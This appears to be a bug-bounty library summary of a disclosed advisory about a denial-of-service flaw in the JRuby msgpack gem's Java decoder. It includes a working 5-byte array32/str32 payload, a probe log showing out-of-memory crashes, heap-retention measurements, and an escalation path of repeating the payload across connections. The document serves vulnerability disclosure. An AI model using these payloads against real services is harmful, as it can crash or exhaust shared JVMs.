# msgpack-ruby JRuby decoder makes uncapped header-count allocations; a 5-byte message forces multi-GiB OOM

JRuby msgpack decoder pre-allocates arrays/strings from header-declared counts, so a 5-byte array32/str32 message forces multi-GiB JVM heap allocation and OOM.

- Payout: Research
- Severity: high
- Program: msgpack-ruby
- Found by: cosmo0920
- Disclosed: 2026-11-12
- CVE: CVE-2026-126366
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-73v3-wf97-vpgj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-73v3-wf97-vpgj
- Tags: area:oss domain:oss impact:dos kind:research platform:ghsa sev:high tech:java tech:ruby technique:regression technique:source-review vuln:dos

**Target:** JRuby msgpack gem Java decoder (ext/java Decoder.java)
**Root cause:** consumeArray/consumeString size Java arrays directly from the declared element/byte count in the message header, with no cap by buffered bytes and no SHRT_MAX-style clamp; only counts >= 2^31 are refused (UnderflowError from getUnsignedInt).
**Steps:**
1. Install msgpack 1.8.6 java platform gem on JRuby 9.4.12 with `-Xmx512m`.
2. Feed a 5-byte payload `"\xdd" + [0x7FFFFFFF].pack('N')` (array32 header) to `MessagePack::Unpacker#feed_each`.
3. Observe `Java::JavaLang::OutOfMemoryError: Requested array size exceeds VM limit`.
4. With count 500000000, observe `OutOfMemoryError: Java heap space` (real allocation attempt).
5. Same with `str32`/`bin32` headers (`\xdb`/`\xc6`) declaring 0x7FFFFFFF bytes via readBytes.
6. Below failure threshold (count 2e7), heap grows +78 MiB silently with no exception; persists after Unpacker#reset + GC.
**How found:** Compared the Java decoder's dispatch arms against the CRuby unpacker's existing caps (SHRT_MAX since 1.7.3, buffered-bytes cap from c8d42d8 in 1.8.6); noticed consumeArray/readBytes pre-size from declared counts while consumeHash grows per element, then measured each arm on the released gem.
**Exploitation:** Any JRuby service parsing untrusted msgpack (socket-fed Unpacker per connection) receives a 5-byte header declaring a huge array/string count; the decoder synchronously allocates the declared size on the shared JVM heap, causing OOM that can kill the whole JVM or silently consume heap per connection.
**Escalation:** Per-connection unpackers let an attacker repeat the 5-byte header across many connections, each spending heap, with no exception or log line in the silent band.
**Insight:** When auditing a multi-language gem, diff the non-primary implementation against fixes already shipped in the primary one — the Java decoder lacked both generations of cap the C unpacker had, and per-arm measurement (array/str/bin vs map) isolates which dispatch paths pre-allocate.

## Proof of concept (copied exactly from the original report)

**Five-byte array32 header payload construction**

```
Each payload is five bytes, e.g. `"\xdd" + [count].pack('N')` fed to `MessagePack::Unpacker#feed_each`. Scripts: `jr_probe.rb`, `jr_probe_extra.rb` (attached in kit).
```

**Header-shape probe loop producing OOM**

```
array32 count=0xFFFFFFFF       -> MessagePack::UnderflowError: Size too large (limited to 2**31 for the Java version)
array32 count=0x7FFFFFFF       -> Java::JavaLang::OutOfMemoryError: Requested array size exceeds VM limit
array32 count=500000000        -> Java::JavaLang::OutOfMemoryError: Java heap space   # real allocation attempt
str32   len=0x7FFFFFFF         -> Java::JavaLang::OutOfMemoryError: Requested array size exceeds VM limit
bin32   len=0x7FFFFFFF         -> Java::JavaLang::OutOfMemoryError: Requested array size exceeds VM limit
map32   count=0x7FFFFFFF       -> no exception, no large allocation (consumeHash grows per element)
```

**Silent-band retention loop and reset control**

```
$ for n in 1000000 5000000 20000000; do jruby -J-Xmx1g jr_one.rb $n; done
count=  1000000 heap 26.4 -> 31.1 MiB (delta 4.7)   | no exception (underflow swallowed)
count=  5000000 heap 53.3 -> 74.0 MiB (delta 20.7)  | no exception (underflow swallowed)
count= 20000000 heap 51.3 -> 129.3 MiB (delta 78.0) | no exception (underflow swallowed)

$ jruby -J-Xmx1g jr_reset_control.rb 20000000
count=20000000 heap base=49.9 after_feed=129.3 (delta 79.4) after_reset_gc=129.3 (retained_vs_base 79.4)
```

